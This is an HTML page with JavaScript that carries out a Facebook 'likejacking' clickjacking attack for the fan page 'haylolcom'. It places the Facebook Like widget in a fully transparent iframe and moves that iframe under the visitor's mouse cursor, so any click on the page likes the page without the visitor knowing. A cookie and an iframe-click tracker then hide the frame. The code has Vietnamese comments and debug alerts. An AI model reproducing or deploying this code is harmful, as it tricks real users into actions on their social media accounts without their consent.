<html>
  <head>
    <script type="text/javascript" src="http://haylol.com/js/jquery.js"></script>
    <script type="text/javascript" src="http://haylol.com/js/iframetracker.js"></script>
    <style type="text/css">
      div#container_notlike, div#container_like {
        display: none;
      }
       #like-facebook {
          height: 5px;
          overflow: hidden;
          position: absolute;
          width: 5px;
          opacity: 0!important;
      }
      #like-facebook iframe {
          margin-top: -2px!important;
      }
      #like-facebook iframe .pluginButton {
          cursor: default!important;
      }
    </style>
  </head>
  <body>
<script>
function getCookie(c_name)
{
    var c_value = document.cookie;
    var c_start = c_value.indexOf(" " + c_name + "=");
    if (c_start == -1)
    {
        c_start = c_value.indexOf(c_name + "=");
    }
    if (c_start == -1)
    {
        c_value = null;
    }
    else
    {
        c_start = c_value.indexOf("=", c_start) + 1;
        var c_end = c_value.indexOf(";", c_start);
        if (c_end == -1)
        {
            c_end = c_value.length;
        }
        c_value = unescape(c_value.substring(c_start,c_end));
    }
    return c_value;
}

function setCookie(c_name,value,exdays)
{
  var exdate=new Date();
  exdate.setHours(exdate.getHours() + 1);
  var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
  document.cookie=c_name + "=" + c_value;
}
function update_ck(){
  alert('click');
    setCookie("mylove", 1, 2);
}

</script>
  <div id="like-facebook">
  <!--   <iframe scrolling="no" frameborder="0" onclick="update_ck()" style="position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:0;filter:alpha(opacity=0);" src="http://www.facebook.com/widgets/like.php?href=http%3A%2F%2Ffacebook.com%2Fhaylolcom&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80" allowtransparency="true" id="myframe"></iframe> -->
  </div>
    <div id="fb-root"></div>
     <script>
        $("#like-facebook iframe").click(function(event) {
          alert('ok');
        });
     
      window.fbAsyncInit = function() {
        FB.init({
          appId      : '394308227341814', // App ID
          status     : true, // check login status
          cookie     : true, // enable cookies to allow the server to access the session
          xfbml      : true  // parse XFBML
        });

        FB.getLoginStatus(function(response) {
          var page_id = "217631985061335";
          if (response && response.authResponse) {
            var user_id = response.authResponse.userID;
            var fql_query = "SELECT uid FROM page_fan WHERE page_id = "+page_id+"and uid="+user_id;
            FB.Data.query(fql_query).wait(function(rows) {
              if (rows.length == 1 && rows[0].uid == user_id) {
                $('#like-facebook').hide();
              } else {
                $('#like-facebook').show();
              }
            });
          } else {
                if(getCookie("mylove")==null){
                    alert('Chua co cookie');
                    var opacity = 0;
                    var fan_page_url = 'http://facebook.com/haylolcom';
                    $('#like-facebook').html("<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");' onclick='update_ck()'></iframe>");
                    // su kien di chuot.
                    $(document).mousemove(function(event){
                      $("#like-facebook").css({
                        'left': (event.pageX - 2) + 'px',
                        'top': (event.pageY -2 ) + 'px'
                      });
                    });
                    /////////////////////////////////////////
                    // Code an iframe va set cookie sau khi bam.
                    $('#like-facebook id#theiframe').iframeTracker({
                      blurCallback: function(){
                        go();
                      }
                    });
                    var count = 0;
                    function go() {
                      if (count < 1) {
                            count++;
                            window.setTimeout(go, 1000);
                        }
                        else{
                          $('#like-facebook').css('display','none');
                        }
                    }
                    ////////////////////////////////////////////////////////
                  } else {
                    alert('Da co cookie');
                  }
            }
        });
      };

      // Load the SDK Asynchronously
      (function(d){
        var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
        js = d.createElement('script'); js.id = id; js.async = true;
        js.src = "//connect.facebook.net/en_US/all.js";
        d.getElementsByTagName('head')[0].appendChild(js);
      }(document));
    </script>


     <script>
    //   window.fbAsyncInit = function() {
    //     FB.init({
    //       appId      : '394308227341814', // App ID
    //       status     : true, // check login status
    //       cookie     : true, // enable cookies to allow the server to access the session
    //       xfbml      : true  // parse XFBML
    //     });

    //     FB.getLoginStatus(function(response) {
    //       var page_id = "217631985061335";
    //       if (response && response.authResponse) {
    //         var user_id = response.authResponse.userID;
    //         var fql_query = "SELECT uid FROM page_fan WHERE page_id = "+page_id+"and uid="+user_id;
    //         FB.Data.query(fql_query).wait(function(rows) {
    //           if (rows.length == 1 && rows[0].uid == user_id) {
    //             console.log("LIKE");
    //             $('#container_like').show();
    //           } else {
    //             console.log("NO LIKEY");
    //             $('#container_notlike').show();
    //           }
    //         });
    //       } else {
    //         FB.login(function(response) {
    //           if (response && response.authResponse) {
    //             var user_id = response.authResponse.userID;
    //             var fql_query = "SELECT uid FROM page_fan WHERE page_id = "+page_id+"and uid="+user_id;
    //             FB.Data.query(fql_query).wait(function(rows) {
    //               if (rows.length == 1 && rows[0].uid == user_id) {
    //                 console.log("LIKE");
    //                 $('#container_like').show();
    //               } else {
    //                 console.log("NO LIKEY");
    //                 $('#container_notlike').show();
    //               }
    //             });
    //           } else {
    //             console.log("NO LIKEY");
    //             $('#container_notlike').show();
    //           }
    //         }, {scope: 'user_likes'});
    //       }
    //     });
    //   };

    //   // Load the SDK Asynchronously
    //   (function(d){
    //     var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
    //     js = d.createElement('script'); js.id = id; js.async = true;
    //     js.src = "//connect.facebook.net/en_US/all.js";
    //     d.getElementsByTagName('head')[0].appendChild(js);
    //   }(document));
     </script>

    <div id="container_notlike">
      YOU DON'T LIKE ME :(
    </div>

    <div id="container_like">
      YOU LIKE ME :)
    </div>
  </body>
</html>